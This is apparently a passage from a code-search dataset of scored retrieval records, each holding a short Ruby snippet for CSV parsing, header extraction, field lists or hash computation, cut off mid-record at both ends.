"79c285e3216f308c9caf7664e20696bb", "score": "0.48686478", "text": "def extract_headers\n header_set = []\n fi = File.open(@file_name, 'r')\n fi.each_line do |line|\n if line.include?('Temp(C)')\n\n line = line.scrub\n line.gsub!(/\\\\\"/, '')\n line.gsub!(/\\\"/, '')\n line.strip!\n line = line.split(',')\n line[0] = \"Timestamp\"\n header_set << line.join(',')\n end\n end\n header_set.uniq\nend", "title": "" }, { "docid": "87589563d6702ca35d3af058fdb6fdbe", "score": "0.48675445", "text": "def get_data(file_name)\n @all_data=[]\n\n CSV.foreach(file_name, :headers => true) do |row|\n first=row[\"first_name\"]\n last=row[\"last_name\"]\n position=(row[\"position\"]).tr(\" \",\"_\")\n team=(row[\"team\"]).tr(\" \",\"_\")\n\n @all_data.push( {:Team => team, :First_Name => first, :Last_Name => last, :Position => position} )\n end\n @all_data\nend", "title": "" }, { "docid": "0c5b56a51420a3be4d2cefc53b6f355b", "score": "0.48671204", "text": "def prefilter_csv_data(raw_csv_data)\n # De-dup emails absolutely\n csv_data = raw_csv_data.uniq{|row| row[:email]}\n\n # Remove data with duplicate names scoped in company and address (parameterized)\n #csv_data.uniq{|row| \"#{row[:first_name]} #{row[:last_name]} #{row[:company]} #{row[:address]}\".try(:parameterize)}\n end", "title": "" }, { "docid": "214506c37ae1f35c63cd94b085e3593a", "score": "0.48654068", "text": "def fields(str)\n str.split(/\\,|\\t/).each { |str| str.strip!}\nend", "title": "" }, { "docid": "0baec690a80bc2c844dbc8a53c358b70", "score": "0.4860973", "text": "def parse(report)\n lines = report.split(\"\\n\")\n #puts \"lines: #{lines}\"\n header = lines.shift # remove first line \n lines.collect do |line|\n #puts \"line: #{line}\"\n provider, country, sku, developer, title, version, product_type_id, units, developer_proceeds, begin_date, end_date, currency, country_code, currency_of_proceeds, apple_id, customer_price, promo_code, parent_id, subscription, period = line.split(\"\\t\")\n p = { :provider => provider.strip, \n :country => country.strip, \n :sku => sku.strip, \n :developer => developer.strip, \n :title => title.strip, \n :version => version.strip, \n :product_type_id => product_type_id.strip, \n :units => units.to_i, \n :developer_proceeds => developer_proceeds.to_f, \n :begin_date => Date.strptime(begin_date.strip, '%m/%d/%Y'), \n :end_date => Date.strptime(end_date.strip, '%m/%d/%Y'), \n :currency => currency.strip, \n :country_code => country_code.strip, \n :currency_of_proceeds => currency_of_proceeds.strip, \n :apple_id => apple_id.to_i, \n :customer_price => customer_price.to_f, \n :promo_code => promo_code.strip, \n :parent_id => parent_id.strip, \n :subscription => subscription.strip, \n :period => period\n }\n puts \"parsing failed\".red if p==nil\n p\n end #lines collect\nend", "title": "" }, { "docid": "8e62a584377737d025ac6da60110054b", "score": "0.4860534", "text": "def header_str\n @columns.collect {|c|\n if @table[c]\n #{}\"%#{@table[c][:size]}s\" % [@table[c][:name]]\n format_data(c, @table[c][:name])\n else\n nil\n end\n }.compact.join(' ')\n end", "title": "" }, { "docid": "272f44ccd3bb0e0fa8dd4ab3061513c7", "score": "0.48588613", "text": "def to_output_format(data)\n records = []\n data.each do |arr|\n records << {\n last_name: arr[0],\n first_name: arr[1],\n gender: arr[2],\n favorite_color: arr[3],\n birthdate: arr[4]\n } \n end\n records\n end", "title": "" }, { "docid": "e087eb3541f302407a0ba14e5386acbe", "score": "0.48447794", "text": "def get_fieldnames(filename, options)\n path = \"#{options[:input]}/#{filename}\"\n File.read(path)\n .chomp\n .sub('_version_', '%US%version%US%')\n .gsub(',_', '%COMMA%_')\n .gsub(', ', '%COMMA% ') \n .split(',')\n .reject{ |field| field.start_with?('RELS_EXT_isSequenceNumberOf') }\nend", "title": "" }, { "docid": "f738e68319795e636cafb04eb754afbd", "score": "0.48416823", "text": "def fields\n %i[ position_title employee_type request_type contractor_name\n number_of_positions hourly_rate hours_per_week number_of_weeks annual_cost\n nonop_funds nonop_source justification organization__name unit__name\n review_status__name review_comment user__name created_at updated_at ]\n end", "title": "" }, { "docid": "7dbdfe8fe6019673721310ea75d8eaaf", "score": "0.48403683", "text": "def str(csv_str)\n if csv_str.nil?\n @csv_str = \"Spare\"\n @tbl_str = \"Spare\" \n else\n @csv_str = csv_str.strip\n @tbl_str = @csv_str\n end\n end", "title": "" }, { "docid": "7dbdfe8fe6019673721310ea75d8eaaf", "score": "0.48403683", "text": "def str(csv_str)\n if csv_str.nil?\n @csv_str = \"Spare\"\n @tbl_str = \"Spare\" \n else\n @csv_str = csv_str.strip\n @tbl_str = @csv_str\n end\n end", "title": "" }, { "docid": "b3a7e2eb4aa289837271ae738ef73364", "score": "0.48347476", "text": "def csvString\n resultColumns = self.generateResultColumns\n headers = resultColumns[:columns].keys\n # Start off instantiating the csv string with the header values\n csvString = headers.map{|s| self.filterValue(s)}.join(@options[:delimiter])\n\n # Now iterate over each row, sticking its value under each header\n (0..resultColumns[:maxRowIndex]).each do |rowIndex|\n csvString << \"\\r\\n\"\n csvString << headers.map{ |header|\n self.filterValue(resultColumns[:columns][header][rowIndex])\n }.join(@options[:delimiter])\n end\n return csvString\n end", "title": "" }, { "docid": "89fd3e504f251405d4cc8506f0cf1c41", "score": "0.4830963", "text": "def from_plaintext filename, fields\n ds = Daru::DataFrame.new({}, order: fields)\n fp = File.open(filename,'r')\n fp.each_line do |line|\n row = Daru::IOHelpers.process_row(line.strip.split(/\\s+/),[''])\n next if row == [\"\\x1A\"]\n ds.add_row(row)\n end\n ds.update\n fields.each { |f| ds[f].rename f }\n ds\n end", "title": "" }, { "docid": "89fd3e504f251405d4cc8506f0cf1c41", "score": "0.4830963", "text": "def from_plaintext filename, fields\n ds = Daru::DataFrame.new({}, order: fields)\n fp = File.open(filename,'r')\n fp.each_line do |line|\n row = Daru::IOHelpers.process_row(line.strip.split(/\\s+/),[''])\n next if row == [\"\\x1A\"]\n ds.add_row(row)\n end\n ds.update\n fields.each { |f| ds[f].rename f }\n ds\n end", "title": "" }, { "docid": "7ea865cda61644d1c9c4633e6468c457", "score": "0.48290786", "text": "def process_fields(fields)\n fields.map { |field| field.to_s.include?('.') ? field.to_s : \"#{self.table_name}.#{field}\" }\n end", "title": "" }, { "docid": "f3c8543e166361fab53665c92707567c", "score": "0.48215848", "text": "def plsc_report\n #Initial coding done by John Evans this will return 4 columns from the User table\n @data = User.find(:all , :select => \"id as id, name as name, c_type as type, zipcode as zipcode\", :group => \"id\")\n end", "title": "" } ]
3d12337f807c1fd30680000c70fb67a2
Computes a hash with text run attributes based on em_classes
[ { "docid": "ad52e4aa71c5896679ca0f367d422ef6", "score": "0.7693296", "text": "def compute_text_run_attrs_from_em(em_classes)\n # Handle em with no classes: results in plain italics\n return { italic: true } if em_classes.empty?\n r = {}\n r[:bold] = true if em_classes.include?('bold')\n r[:italic] = true if em_classes.include?('italic')\n r[:small_caps] = true if em_classes.include?('smcaps')\n r[:underline] = true if em_classes.include?('underline')\n r[:vert_align] = 'subscript' if em_classes.include?('subscript')\n r[:vert_align] = 'superscript' if em_classes.include?('superscript')\n r\n end", "title": "" } ]
[ { "docid": "9979558224dd55f7e876d42aeb812840", "score": "0.5938382", "text": "def hash\n [text, font_name, font_size, bold, italic, color, width, height, top, left, rotation_angle, transparency, background, image, auto_align].hash\n end", "title": "" }, { "docid": "d63333ed15c27e3f7526f0c6f8099546", "score": "0.5760093", "text": "def attr_hash\n Digest::MD5.hexdigest(\"#{@name}:#{@ruby_type}\")\n end", "title": "" }, { "docid": "787d70a5547286eee0fab9c0d01bf096", "score": "0.56748646", "text": "def hash\n\t\t(language + type + klass + thing).hash\n\tend", "title": "" }, { "docid": "3f6d4de84df62c5b99d5f324e7bea556", "score": "0.555069", "text": "def classes_hash\n @classes\n end", "title": "" }, { "docid": "3f6d4de84df62c5b99d5f324e7bea556", "score": "0.555069", "text": "def classes_hash\n @classes\n end", "title": "" }, { "docid": "a1488a9eb6b38840b3faf1457700ef60", "score": "0.5479951", "text": "def to_hash\n\t\t@classes.map { |name,klass| klass.to_hash }.reduce({}) { |sum,v| sum.merge( v) }\n\tend", "title": "" }, { "docid": "6b4f20be0470c10cad34799ac645d43b", "score": "0.5444941", "text": "def attr_hash\n\t\t\thash = {:sourcetype => @type}\n\t\t\tcase @type\n\t\t\twhen 'random_string'\n\t\t\t\thash[:length] = @length\n\t\t\twhen 'random_number'\n\t\t\t\thash[:start] = @start\n\t\t\t\thash[:end] = @end\n\t\t\twhen 'eval'\n\t\t\t\thash[:code] = @code.chomp.to_sym\t\t\t# symbolize it in order to prevent it from being escaped\n\t\t\twhen 'file'\n\t\t\t\thash[:fileid] = @fileid\n\t\t\t\thash[:delimiter] = @delimiter\n\t\t\t\thash[:order] = @order\n\t\t\tend\n\t\t\thash\n\t\tend", "title": "" }, { "docid": "2fe66cff14fdabeab11d6f696606a539", "score": "0.54300505", "text": "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end", "title": "" }, { "docid": "f93cadec6708613293924a0e4f1e8216", "score": "0.5378921", "text": "def hash\n [text, row_span, col_span, margin_top, margin_right, margin_left, margin_bottom, text_anchor_type, text_vertical_type, fill_format, border_top, border_right, border_left, border_bottom, border_diagonal_up, border_diagonal_down, column_index, row_index, text_frame_format, paragraphs].hash\n end", "title": "" }, { "docid": "48081c7ec008e749812e1497a2130418", "score": "0.53498095", "text": "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end", "title": "" }, { "docid": "27cb73b2cc1501a16065570ffd6e5e0d", "score": "0.53111315", "text": "def crypto_analyzer\n return [[], []] unless has_attribute?(\"class\")\n @crypto_analyzer ||= begin\n class_value = self[\"class\"].strip\n interpolation_regex = /[-\\w]*\\#{(?:[^{}]+)}[-\\w]*/\n interpolated_classes = class_value.scan(interpolation_regex)\n class_value.gsub!(interpolation_regex, \"\")\n\n crypt, non_crypt = class_value.split(/\\s+/).partition do |klass|\n klass.match(/[=#\"&()]/)\n end\n [crypt + interpolated_classes, non_crypt]\n end\n end", "title": "" }, { "docid": "3aa1ab7b9f643ec8dc4c73b775351a25", "score": "0.5304012", "text": "def classes_hash\n @classes_hash\n end", "title": "" }, { "docid": "95448c1fb42c09b1f4d0d6d31ae82d48", "score": "0.5284666", "text": "def to_hash\n obj = {}\n TestRun.attrs.each do |attr| #need to fix this. this looks at the Test class specifically and not whatever child class called it\n obj[attr] = send(attr)\n end\n obj\n end", "title": "" }, { "docid": "1fc831afc7097e997a6779b3490c8bbb", "score": "0.52741027", "text": "def crypto_hash(name, digest_class)\n digest_length = digest_class.digest('').length\n\n defines = Proc.new do \n define_method :\"#{name}\" do |data|\n data = data.pack 'C*' unless data.kind_of? String\n digest_class.digest(data).unpack 'C*'\n end\n define_method(:\"#{name}_digest_class\") { digest_class }\n define_method(:\"#{name}_length\") { digest_length }\n end\n \n @target.class_eval(&defines)\n (class << @target; self; end).module_eval(&defines) \n end", "title": "" }, { "docid": "6bb909c379912de94cb7dc4ab2f13477", "score": "0.5242913", "text": "def hash\n return Digest::MD5.hexdigest(self.describe(' '))\n end", "title": "" }, { "docid": "e3298c7541d63056c2e8996ae81ab680", "score": "0.5241419", "text": "def hash\r\n\t\treturn @name.hash() + @type.hash()\r\n\tend", "title": "" }, { "docid": "16b308d3bbcee2ec634cee48283c98aa", "score": "0.5234259", "text": "def consolidate_classes(original_line, list_of_classes)\n record = {\n :original_ocr => original_line,\n :attributes_parsed => {\n :subject =>\n [\n #{:value => \"Curran Sarah\", :type => \"primary\", :occupation => \"widowed\"},\n #{:value => \"Richard\", :type => \"widower of primary\"}\n ],\n :location =>\n [\n #{:value => \"7 Sixth\", :position => \"rear\", :type => \"home\"}\n ]\n }\n }\n\n list_of_classes.each_with_index do |classed_token, index|\n parsed_class = classed_token[1][0]\n value = classed_token[0]\n if index == 0 && parsed_class == :name_component\n record[:attributes_parsed][:subject] << {:value => value, :type => 'primary'}\n end\n if index > 0\n case parsed_class\n when :job_component\n unless record[:attributes_parsed][:subject].count < 1\n record[:attributes_parsed][:subject][0][:occupation] = value\n end\n when :predicate\n case value\n when \"wid\"\n unless record[:attributes_parsed][:subject].count < 1\n record[:attributes_parsed][:subject][0][:occupation] = 'widow'\n end\n deceased_name = look_for_name_of_deceased(list_of_classes,index)\n unless deceased_name.nil?\n record[:attributes_parsed][:subject] << {:value => deceased_name, :type => 'deceased spouse of primary'}\n end\n #attach_to_next(list_of_classes, index, :name_component, [{:type => 'deceased spouse of primary'}])\n when \"h\"\n attach_to_next(list_of_classes, index, :address_component, [{:type => 'home'}])\n when \"r\"\n attach_to_next(list_of_classes, index, :address_component, [{:position => 'rear'}])\n else\n end\n ## inner case\n when :address_component\n loc = {:value => value}\n classed_token[2..-1].each do |xtra_attr| ## add in any additional attributes from predicates\n xtra_attr.each do |k, v|\n loc[k] = v\n end\n end\n unless merge_if_directly_subsequent_is_alike(list_of_classes, index, classed_token)\n record[:attributes_parsed][:location] << loc\n end\n else\n end\n end ## indices after 0\n end ## loop of classes\n\n return record\nend", "title": "" }, { "docid": "82c0029f0ec9ac9d5bd62b1b32783565", "score": "0.5221825", "text": "def name_and_class\n @engine_name_and_class ||= Hash[*engines.collect { |e| [engine_name(e), engine_class_name(e)] }.flatten]\n engine_name_and_class.dup\n end", "title": "" }, { "docid": "9b164bda867a96d4c7eb797196217c27", "score": "0.52213067", "text": "def hash\n code.hash\n end", "title": "" }, { "docid": "f11fa4f2fa907c0a35d3e2e979d6a1fc", "score": "0.52198255", "text": "def to_hash\n r = ATTR_NAMES.inject({}) { |m,e|\n m[e] = self.send(e)\n m\n }\n r[:product_identity_id] = product_identity_id\n r[:langcode] = lang_code_3_chars\n r[:mappings] = mappings\n r\n end", "title": "" }, { "docid": "1e5bf06291d3cbb29f5de8c2d61da5ee", "score": "0.5215341", "text": "def hash\n [self.class, to_s].hash\n end", "title": "" }, { "docid": "edfdfc5ac558d80ca5320051930c5724", "score": "0.5212582", "text": "def hash\n [default_regular_font, font_fallback_rules, font_subst_rules, format, vectorize_text, metafile_rasterization_dpi, disable3_d_text, disable_gradient_split, disable_line_end_cropping, jpeg_quality, pictures_compression, delete_pictures_cropped_areas, external_fonts_handling, use_frame_size, use_frame_rotation].hash\n end", "title": "" }, { "docid": "5422f333ca2e77d8916f945396e4f3cc", "score": "0.5211735", "text": "def map_attributes_to_hash(attributes)\n attr_hash = Hash.new\n float_pattern = /([0-9]\\.)+/\n word_pattern = /([A-Za-z]|:)/\n attributes.each do |k, v|\n value_string = v.to_s\n if float_pattern.match(value_string)\n attr_hash[k.to_sym] = value_string.to_f\n elsif word_pattern.match(value_string)\n attr_hash[k.to_sym] = value_string\n else\n attr_hash[k.to_sym] = value_string.to_i\n end\n end\n attr_hash\n end", "title": "" }, { "docid": "6d139977536d8787082439e9986f99ab", "score": "0.5205679", "text": "def hash\n ([self.class] + self.class.comparison_attrs.map{|x| send(x)}).hash\n end", "title": "" }, { "docid": "59b6bb65de5bd295e02a52eb6a5bdbc3", "score": "0.5197558", "text": "def hash\n [background_color, content, font_size, has_padding, show_tick, text_align, tick_edge, tick_pos, type, vertical_align].hash\n end", "title": "" }, { "docid": "1fe0b20b0a6b37b24ab6c4f12f76f884", "score": "0.5192992", "text": "def hash\n [format, text_compression, embed_full_fonts, compliance, sufficient_resolution, jpeg_quality, draw_slides_frame, show_hidden_slides, save_metafiles_as_png, password, embed_true_type_fonts_for_ascii, additional_common_font_families, notes_position, comments_position, comments_area_width, comments_area_color, show_comments_by_no_author, image_transparent_color, apply_image_transparent].hash\n end", "title": "" }, { "docid": "da41bfcd2399a2b913a6028fb837b581", "score": "0.5189612", "text": "def extract_hash\n\n value = @array.extract_hash if @array\n value = @valueItem.extract_hash if @valueItem\n value = @map.extract_hash if @map\n\n @text = value\n\n return if @type == 'index'\n return if @type == 'hidden'\n return if @type == 'version'\n return if @type == 'class'\n return if @type == 'method'\n return if @type == 'import'\n return if @type == 'allow'\n return if @type == 'expect'\n\n formatted_key = Substitutions.process UnicodeEscapes.process @key\n {formatted_key => @text}\n end", "title": "" }, { "docid": "2b78e5f717a85d6439c8aad83f7bf06a", "score": "0.5186759", "text": "def attribute_hash\n build_literals(strip_tsim(solr_document.select do |k, _v|\n k.end_with?(\"tsim\")\n end))\n end", "title": "" }, { "docid": "fe60a9eeaac3d0f9e9bf98328f939ff3", "score": "0.5157558", "text": "def hash\n [self.class, self.val, self.attribute].hash\n end", "title": "" }, { "docid": "76d4ecd3d4f75d7b7c3aa802e2144ae4", "score": "0.5150877", "text": "def hash\n code.hash\n end", "title": "" }, { "docid": "e769e59ac54238523686f70c1f2a6c1c", "score": "0.5127539", "text": "def hash\n [class_id, object_type, description, name, type, system].hash\n end", "title": "" }, { "docid": "7732ba0a8556331b04787ccf3101094f", "score": "0.51081514", "text": "def hash\n [self.class, to_s].hash\n end", "title": "" }, { "docid": "fe85257322c89459e7e4472f6234a766", "score": "0.51070416", "text": "def hash\n [self.class, dimension, system, name].hash\n end", "title": "" }, { "docid": "0013fef4f02290dd8da35564a7335076", "score": "0.50921595", "text": "def element_hash\n # Construct string with basic element attributes\n string = \"#{@number}\\n#{@symbol}\\n#{@name}\\n#{rounded_weight}\\n\"\n { string: string, xpos: @xpos, ypos: @ypos }\n end", "title": "" }, { "docid": "afee7adb55e518f72d349330f892c6e7", "score": "0.50913584", "text": "def hash\n [three_d_format, transform, margin_left, margin_right, margin_top, margin_bottom, wrap_text, anchoring_type, center_text, text_vertical_type, autofit_type, column_count, column_spacing, keep_text_flat, rotation_angle, default_paragraph_format].hash\n end", "title": "" }, { "docid": "d3cc3362a45e772f404171d36db8d99c", "score": "0.5082349", "text": "def hash\n digest = Digest::MD5.new\n digest << title.to_s\n digest << content.join('').to_s\n digest.to_s\n end", "title": "" }, { "docid": "98b4448af6358157b579a03a5dc7895a", "score": "0.50335026", "text": "def to_hash\n r = ATTR_NAMES.inject({}) { |m,e|\n m[e] = self.send(e)\n m\n }\n r[:files] = mappings_for_files.map { |e| e.to_hash }\n r\n end", "title": "" }, { "docid": "976fd31b145e71481b2c6b8c5c4e718f", "score": "0.5015561", "text": "def class_attrs(hash)\n eigenclass = class << self; self; end \n eigenclass.class_eval { attributes(hash) }\n end", "title": "" }, { "docid": "cf714b258d9861ef56ef440d5de9244e", "score": "0.5010569", "text": "def word_instances(text)\n instances = Hash.new(0)\n normalize(text).each do |word|\n instances[word] += 1\n end\n instances\nend", "title": "" }, { "docid": "35a2051273ac43bc0ce8f8db584c532f", "score": "0.5007531", "text": "def hash\n [_name, _type, _klass].hash\n end", "title": "" }, { "docid": "8d3d670e66620ba7ace7ddd6cd9dd996", "score": "0.49926028", "text": "def to_hash\n @items.group_by(&:context).inject({}) do |h,(k,v)|\n h[k.to_sym] = v.map(&:text); h\n end\n end", "title": "" }, { "docid": "0deebfadb3e424f58ed108855231c2d7", "score": "0.49924174", "text": "def to_hash\n @items.group_by(&:context).inject({}) do |h,(k,v)|\n h[k.to_sym] = v.map(&:text); h\n end\n end", "title": "" }, { "docid": "dca83dba6e1790ca9b2d9553041d0638", "score": "0.49904695", "text": "def build_lemmas_hash\n input.css('features properties property').each do |property|\n lemma = property.attr('lemma').to_sym\n lemmas_hash[lemma] ||= []\n property.css('references target').each do |target|\n lemma_id = target.attr('id')\n lemmas_array << lemma_id\n lemmas_hash[lemma] << lemma_id\n end\n end\n end", "title": "" }, { "docid": "24192761098236a06e581d6db24fd532", "score": "0.49797168", "text": "def compile_all(individual_resume_text)\n result = {}\n result[:university_rank] = get_university_rank(individual_resume_text)\n result[:masters] = has_masters(individual_resume_text)\n result[:doctorate] = has_phd(individual_resume_text)\n result[:relevant_role] = has_relevant_role(individual_resume_text)\n result[:stats_skills] = number_of_stats_skillz(individual_resume_text)\n result[:certifications] = number_of_certifications(individual_resume_text)\n result[:honors] = number_of_honors(individual_resume_text)\n result[:awards] = number_of_awards(individual_resume_text)\n result[:gpa] = get_gpa(individual_resume_text)\n result[:programming_languages] = number_of_programming_languages(individual_resume_text)\n return result\nend", "title": "" }, { "docid": "15ee53cd19dcdb39ad23742a1aaf9ab1", "score": "0.49653903", "text": "def word_instances(text)\n instances = Hash.new(0)\n normalized_words = normalize(text)\n unique(text).each do |word|\n instances[word] = normalized_words.count(word)\n end\n instances\nend", "title": "" }, { "docid": "ab42ea6def7004f7b165a39f993a3e0e", "score": "0.49622977", "text": "def color_theme_to_hash\n %w(background_color foreground_color bold_color cursor_color font_size font_name).inject({}) do |hash, value|\n hash[value] = Wasko.send(value)\n hash\n end\n end", "title": "" }, { "docid": "941d0972c4f50073c7b432211978f3e1", "score": "0.49599764", "text": "def to_hash\n fattrs.inject({}){|h,a| h.update a => send(a)}\n end", "title": "" }, { "docid": "3ebed939188e7b56631950c43704eaec", "score": "0.49486926", "text": "def stats\n hash = {}\n instance_variables.each do |var|\n # Add up the total bytes of text as well as the length.\n if var == :@text\n count = 0\n @text.each { |t| count += t.length }\n hash[:text_snippets] = @text.length\n hash[:text_bytes] = count\n # Else take the var's #length method return value.\n else\n next unless instance_variable_get(var).respond_to?(:length)\n\n hash[var[1..-1].to_sym] =\n instance_variable_get(var).send(:length)\n end\n end\n hash\n end", "title": "" }, { "docid": "86c4ef278b5561ce28b4893381294d61", "score": "0.49458584", "text": "def hash\n [code, scope].hash\n end", "title": "" }, { "docid": "a5128acf79630a29a2f6cd1d6a75e7dc", "score": "0.49351603", "text": "def hash\n [range_start_index, range_end_index, fallback_font_list].hash\n end", "title": "" }, { "docid": "67a57cab258936e43945ffe98248dfb0", "score": "0.49306276", "text": "def to_hash\n self.class.attributes.inject({}) { |memo, name| memo[name] = send(name); memo }\n end", "title": "" }, { "docid": "803526523fc0f5fba5216ebcf05888f1", "score": "0.49271268", "text": "def evaluate\n results = {}\n traits.each do |trait|\n results[trait] = trait.new(@strokes ).trait.to_a.sort\n end\n results\n end", "title": "" }, { "docid": "b8813cf7c27b01165b0c944f12c88718", "score": "0.49263623", "text": "def hash\n [accept_tos, verify_sms, kyc_check, documentary_verification, selfie_check, watchlist_screening, risk_check].hash\n end", "title": "" }, { "docid": "7cb3c816c23dd3d679bd77069693c25a", "score": "0.49195954", "text": "def extractStyleAttributes(parsed_doc)\n style_attributes = {}\n styled_tags = parsed_doc.css(\"svg[style],mjx-container[style]\")\n for styled_tag in styled_tags do\n style_attribute = styled_tag[\"style\"]\n digest = Digest::MD5.hexdigest(style_attribute)[0..15]\n style_attributes[digest] = style_attribute\n\n digest_class = \"mathjax-inline-#{digest}\"\n styled_tag[\"class\"] = \"#{styled_tag[\"class\"] || \"\"} #{digest_class}\"\n styled_tag.remove_attribute(\"style\")\n end\n return style_attributes\n end", "title": "" }, { "docid": "761ae5cbe264d5a9635b0d320ea5328f", "score": "0.4918578", "text": "def hashify\n emotions = {anger: anger, contempt: contempt, disgust: disgust, fear: fear,\n happiness: happiness, neutral: neutral, sadness: sadness, surprise: surprise}\n emotions.sort_by {|k, v| v}.reverse.to_h\n end", "title": "" }, { "docid": "bf39ae40f220f7ba9e8e6c9882015bd5", "score": "0.49123177", "text": "def hash\n [background_pattern_color, foreground_pattern_color, texture].hash\n end", "title": "" }, { "docid": "b26494745eedee62f20d50169f735ba5", "score": "0.48989698", "text": "def build_node_class_hash(class_hash)\n # First, create a hash with the following structure:\n #\n # - key: The name of the class to be added to the Node Group\n # - value: The parameters to be assigned to the class (generally an empty hash)\n #\n # Example: { 'pe_repo::platform::el_7_x86_64' => {} }\n class_parameters_hash = Hash.new\n class_parameters_hash[class_hash['name']] = class_hash['parameters']\n\n # Now, create a node that defines a new class association with a node group.\n # This hash will have the following structure:\n #\n # - key: 'classes' (Each node group has a 'classes' key, which contains a has for each class associated with that node group)\n # - value: class_parameters_hash (The hash created above, which defines the class name and parameters to add to the node group)\n #\n # Example: { 'classes' => { 'pe_repo::platform::el_7_x86_64' => {} } }\n node_class_hash = Hash.new\n node_class_hash['classes'] = class_parameters_hash\n\n # Return the newly constructed hash\n node_class_hash\nend", "title": "" }, { "docid": "2ec84ef27727ba08a21a36447707eda0", "score": "0.48986587", "text": "def med_stats_hash(_assessed_data); end", "title": "" }, { "docid": "84ff721c02ebe1a0098120ac41d9e74f", "score": "0.48983636", "text": "def hash\n [class_id, object_type, acs_control_gpu1state, acs_control_gpu2state, acs_control_gpu3state, acs_control_gpu4state, acs_control_gpu5state, acs_control_gpu6state, acs_control_gpu7state, acs_control_gpu8state, acs_control_slot11state, acs_control_slot12state, acs_control_slot13state, acs_control_slot14state, adjacent_cache_line_prefetch, advanced_mem_test, all_usb_devices, altitude, aspm_support, assert_nmi_on_perr, assert_nmi_on_serr, auto_cc_state, autonumous_cstate_enable, baud_rate, bme_dma_mitigation, boot_option_num_retry, boot_option_re_cool_down, boot_option_retry, boot_performance_mode, burst_and_postponed_refresh, c1auto_demotion, c1auto_un_demotion, cbs_cmn_apbdis, cbs_cmn_cpu_cpb, cbs_cmn_cpu_gen_downcore_ctrl, cbs_cmn_cpu_global_cstate_ctrl, cbs_cmn_cpu_l1stream_hw_prefetcher, cbs_cmn_cpu_l2stream_hw_prefetcher, cbs_cmn_cpu_smee, cbs_cmn_cpu_streaming_stores_ctrl, cbs_cmn_determinism_slider, cbs_cmn_efficiency_mode_en, cbs_cmn_fixed_soc_pstate, cbs_cmn_gnb_nb_iommu, cbs_cmn_gnb_smu_df_cstates, cbs_cmn_gnb_smucppc, cbs_cmn_mem_ctrl_bank_group_swap_ddr4, cbs_cmn_mem_map_bank_interleave_ddr4, cbs_cmnc_tdp_ctl, cbs_cpu_ccd_ctrl_ssp, cbs_cpu_core_ctrl, cbs_cpu_smt_ctrl, cbs_dbg_cpu_snp_mem_cover, cbs_dbg_cpu_snp_mem_size_cover, cbs_df_cmn_acpi_srat_l3numa, cbs_df_cmn_dram_nps, cbs_df_cmn_mem_intlv, cbs_df_cmn_mem_intlv_size, cbs_sev_snp_support, cdn_enable, cdn_support, channel_inter_leave, cisco_adaptive_mem_training, cisco_debug_level, cisco_oprom_launch_optimization, cisco_xgmi_max_speed, cke_low_policy, closed_loop_therm_throtl, cmci_enable, config_tdp, config_tdp_level, console_redirection, core_multi_processing, cpu_energy_performance, cpu_frequency_floor, cpu_perf_enhancement, cpu_performance, cpu_power_management, cr_qos, crfastgo_config, dcpmm_firmware_downgrade, demand_scrub, direct_cache_access, dram_clock_throttling, dram_refresh_rate, dram_sw_thermal_throttling, eadr_support, edpc_en, enable_clock_spread_spec, enable_mktme, enable_sgx, enable_tme, energy_efficient_turbo, eng_perf_tuning, enhanced_intel_speed_step_tech, epoch_update, epp_enable, epp_profile, execute_disable_bit, extended_apic, flow_control, frb2enable, hardware_prefetch, hwpm_enable, imc_interleave, intel_dynamic_speed_select, intel_hyper_threading_tech, intel_speed_select, intel_turbo_boost_tech, intel_virtualization_technology, intel_vt_for_directed_io, intel_vtd_coherency_support, intel_vtd_interrupt_remapping, intel_vtd_pass_through_dma_support, intel_vtdats_support, ioh_error_enable, ioh_resource, ip_prefetch, ipv4http, ipv4pxe, ipv6http, ipv6pxe, kti_prefetch, legacy_os_redirection, legacy_usb_support, llc_alloc, llc_prefetch, lom_port0state, lom_port1state, lom_port2state, lom_port3state, lom_ports_all_state, lv_ddr_mode, make_device_non_bootable, memory_bandwidth_boost, memory_inter_leave, memory_mapped_io_above4gb, memory_refresh_rate, memory_size_limit, memory_thermal_throttling, mirroring_mode, mmcfg_base, network_stack, numa_optimized, nvmdimm_perform_config, onboard10gbit_lom, onboard_gbit_lom, onboard_scu_storage_support, onboard_scu_storage_sw_stack, operation_mode, os_boot_watchdog_timer, os_boot_watchdog_timer_policy, os_boot_watchdog_timer_timeout, out_of_band_mgmt_port, package_cstate_limit, panic_high_watermark, partial_cache_line_sparing, partial_mirror_mode_config, partial_mirror_percent, partial_mirror_value1, partial_mirror_value2, partial_mirror_value3, partial_mirror_value4, patrol_scrub, patrol_scrub_duration, pc_ie_ras_support, pc_ie_ssd_hot_plug_support, pch_usb30mode, pci_option_ro_ms, pci_rom_clp, pcie_ari_support, pcie_pll_ssc, pcie_slot_mraid1link_speed, pcie_slot_mraid1option_rom, pcie_slot_mraid2link_speed, pcie_slot_mraid2option_rom, pcie_slot_mstorraid_link_speed, pcie_slot_mstorraid_option_rom, pcie_slot_nvme1link_speed, pcie_slot_nvme1option_rom, pcie_slot_nvme2link_speed, pcie_slot_nvme2option_rom, pcie_slot_nvme3link_speed, pcie_slot_nvme3option_rom, pcie_slot_nvme4link_speed, pcie_slot_nvme4option_rom, pcie_slot_nvme5link_speed, pcie_slot_nvme5option_rom, pcie_slot_nvme6link_speed, pcie_slot_nvme6option_rom, pcie_slots_cdn_enable, pop_support, post_error_pause, post_package_repair, processor_c1e, processor_c3report, processor_c6report, processor_cstate, psata, pstate_coord_type, putty_key_pad, pwr_perf_tuning, qpi_link_frequency, qpi_link_speed, qpi_snoop_mode, rank_inter_leave, redirection_after_post, sata_mode_select, select_memory_ras_configuration, select_ppr_type, serial_port_aenable, sev, sgx_auto_registration_agent, sgx_epoch0, sgx_epoch1, sgx_factory_reset, sgx_le_pub_key_hash0, sgx_le_pub_key_hash1, sgx_le_pub_key_hash2, sgx_le_pub_key_hash3, sgx_le_wr, sgx_package_info_in_band_access, sgx_qos, sha1pcr_bank, sha256pcr_bank, single_pctl_enable, slot10link_speed, slot10state, slot11link_speed, slot11state, slot12link_speed, slot12state, slot13state, slot14state, slot1link_speed, slot1state, slot2link_speed, slot2state, slot3link_speed, slot3state, slot4link_speed, slot4state, slot5link_speed, slot5state, slot6link_speed, slot6state, slot7link_speed, slot7state, slot8link_speed, slot8state, slot9link_speed, slot9state, slot_flom_link_speed, slot_front_nvme10link_speed, slot_front_nvme10option_rom, slot_front_nvme11link_speed, slot_front_nvme11option_rom, 